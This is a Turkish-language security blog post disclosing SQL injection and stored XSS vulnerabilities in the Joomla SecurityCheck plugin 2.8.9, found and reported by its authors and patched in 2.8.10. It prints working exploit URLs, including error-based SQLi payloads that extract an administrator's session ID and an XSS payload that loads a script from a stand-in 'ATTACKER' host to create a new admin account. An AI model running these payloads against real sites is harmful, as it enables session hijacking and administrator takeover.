Muhammet Dilmaç

Muhammet Dilmaç

Developer

© 2020

Joomla SecurityCheck Güvenlik Zafiyeti

“Geçen yine” boş zaman bulup biraz inceleme yapalım dedik :) Bunun üzerine Joomla CMS sisteminde, sisteme yapılan SQL Injection, XSS gibi saldırıları algılayıp engelleyen ve loglayan “SecurityCheck” eklentisini mercek altına aldık. Eklenti üzerinde kısa süre içinde SQLi zafiyeti tespit etmeyi başardık. Bu zafiyeti istismar ederek sistemde bulunan aktif yöneticilerin oturumlarını alarak istismarımızı tamamladık. Bu zafiyeti istismar ederken bu sırada sistemde ayrıca Stored XSS zafiyeti olduğunu fark ettik ve bu zafiyeti de eklentinin loglarını okuyan bir yöneticinin farkında olmadan panele yeni bir admin eklemesini sağlayarak noktaladık. Tüm bunları yaparken Joomla sürümümüz 3.5.1 iken SecurityCheck sürümümüz ise 2.8.9’du. Bu ön bilgilerin ardından girizgâhı burada bitirip zafiyetlere teknik olarak artık değinebiliriz.</p>

Zafiyetlerin Girdi Noktası

Zafiyetimizin saldırı noktası “option” parametresiydi. “option” parametresine gelen değerin normal şartlar altında bir eklenti adı olması gerekiyordu (yazılımcı bakış açısı), fakat gerçek hayatta o değerler değişebiliyor ve farklı şeyler gelebiliyor ki nitekim de öyle oldu :) Dilerseniz şimdi zafiyetlerimizi tek tek inceleyelim.

SQLi Zafiyeti

SecurityCheck eklentisi, yukarıda da belirttiğimiz gibi sisteme yapılan farklı tipteki (ör. XSS, SQLi gibi) saldırıları yakalayıp (Bunu bünyesinde bulunan blacklist ile sağlamakta) loglayan bir eklentidir. Yakalama konusunda oldukça başarılı olduğu gözümüze hemen çarpmıştı ☺ Fakat sorun yakaladığı saldırıyı veri tabanına kaydetme kısmındaydı. Zafiyeti daha iyi analiz etmek için plugins/system/securitycheck/securitycheck.php dosyasını inceleyelim. Eklentimiz saldırıyı veri tabanına securitycheck_logs tablosuna kayıt etmekteydi. Bunun için kullanılan sorgu dosyasında şu şekilde;

Sorgumuzda direk olarak değişkenler SQL’e dâhil edilmekte, bunu daha iyi anlamak için bu kısmın bulunduğu “grabar_log” fonksiyonunu ve çağrıldığı yerleri biraz daha dikkatli inceledik. “$component” değişkenine direk olarak “option” parametresinden gelen değerin atandığını ve herhangi bir filtrelemeden geçmediğini fark ettik.

İstek ayrıştırılıp ardından $option’a bu “option” parametresine gelen değer atanıyor. Ardından bu değer “cleanQuery” metoduna gönderiliyor.

cleanQuery metodunda da herhangi bir filtrelemeye maruz kalmayan parametremiz direk olarak $pageoption’a atanıyor.

Ardından SQL Pattern’den yakalanan bir ifade varsa bu ifadeyi loga kayıt edilmesi için değişkenlerimiz grabar_log’a gönderiliyor;

Diğer değişkenler ilk anda grabar_log fonksiyonunda $db->escape() metodu ile filtreleniyorken $component’ın aynı şekilde filtrelenmemesi yazılımcımızın burada gayet masum bir şekilde “buradan sadece eklenti adı gelebilir ya” diye düşünmüş olabileceğini getirdi aklımıza :)

Insert sorgusuna dâhil edilen bu değişkenimiz sayesinde SQLi zafiyetini istismar etmeyi başardık.

http://website/joomla/index.php?option='or(ExtractValue(1,concat(0x3a,(select(database())))))='1

http://website/joomla/index.php?option='or(ExtractValue(1,concat(0x3a,(select(user())))))='1

http://website/joomla/index.php?option='or(ExtractValue(1,concat(0x3a,(select(version())))))='1

Buradan sonra artık bu zafiyet ile haklarımızı kolay yoldan yükseltelim dedik ve sistemde aktif bulunan yöneticinin oturumunu almayı başardık ve aldığımız oturum kimliğini kullanarak yönetici paneline başarılı bir şekilde giriş yaptık. (Bu durum Joomla gibi bir CMS için bizce pek hoş değil). Bu zafiyeti istismar etmek için kullandığımız payload şu şekildeydi;

http://website/joomla/index.php?option='or(ExtractValue(rand(),concat(0x3a,(SELECT concat(session_id) FROM 
%23__user_usergroup_map INNER JOIN %23__users ON %23__user_usergroup_map.user_id=%23__users.id INNER JOIN %23__session ON 
%23__users.id=%23__session.userid WHERE group_id=8 LIMIT 0,1))))='1

Payload’da %23 ifadesi dikkatinizi çekmiş olabilir bu ifade # değerinin ASCII karşılığı. # ifadesi sayesinde tablonun ön ekini bulmamıza gerek yoktu zira $db->setQuery() metodunda #_ ifadesi ön ek ile değiştirilmekteydi ☺ (# karakterini URL encode biçimde göndermemizin sebebi ise tarayıcıda DOM’a düşmemek içindi)

Stored XSS Zafiyeti

SQLi zafiyetini istismar ederken XSS zafiyeti de olabileceği yönündeki kanılarımızın sonrasında logların yazdırıldığı ekranı inceleyelim dedik. İncelerimiz sonucunda ise bu kanımızda da haklı olduğumuzu gördük :) Bu zafiyeti de incelemek için “administrator/components/com_securitycheck/views/logs/tmpl/default.php” dosyamıza bakalım.

Veritabanına kayıt edilirken herhangi bir filtreleme işleminden geçmeyen “component” değerimiz burada da aynı şekilde başımızı ağrıtıyor ve filtreleme olmadığı için direk olarak XSS saldırısına izin veriyor. Burada tek sorunumuz vardı o da “component” sütununun 150 karakter limitinin olmasıydı.

Bizde bunun için uzak sunucumuza bir javascript dosyası yükledik ve dosyamızı oradan çektirdik. Dosyamızın içeriğine şuradan ulaşabilirsiniz; joomla_admin_add.js Saldırı vektörü olarak ise şu payload’ı kullandık;

http://website/joomla/index.php?option=<script>var script = document.createElement('script');script.src = 
"http://ATTACKER/attack.js";document.getElementsByTagName('head')[0].appendChild(script);</script>

Bu payloadumuzun yaptığı şey ise yönetici panelinde “securitycheck” logları görüntülenirken yöneticinin farkında olmadan yapılan istekler ile yeni bir yönetici eklemesiydi (Bu durum Joomla gibi bir CMS için bizce pek hoş değil).

İsteğimiz saldırı olarak algılanıyor. Böylece loglarda görebileceğiz :)

XSS ile yeni bir yönetici eklemeden önceki kullanıcılar

Logları kontrol ederken arkada giden isteğimiz

Sayfanın kaynağından o alanı kontrol ettiğimizde herhangi özel bir işlemden geçmeden sayfaya eklendiğini görebiliyoruz

İsteğimiz yapıldıktan sonra eklenen yeni yönetici

Bu zafiyetler bildirdiğimiz gün içinde hızlıca yama geçilerek kapatıldılar (Teşekkürler Jose!) ve 2.8.10 versiyonu yayınlandı (zafiyetten hem SecurityCheck hem de SecurityCheck Pro etkileniyordu). Eski versiyonlara olan erişim ise eklenti yazarı tarafından kaldırıldı.

Son olarak şunu söylemek istiyoruz ki “Güvenlik uygulamalarından çok, daha güvenli uygulamalara ihtiyacımız var.

Not: Zafiyetin keşfi ve nokta atışı payloadların geliştirilmesi Gökmen Güreşçi ve Muhammet Dilmaç’ın ortak çalışmasıdır.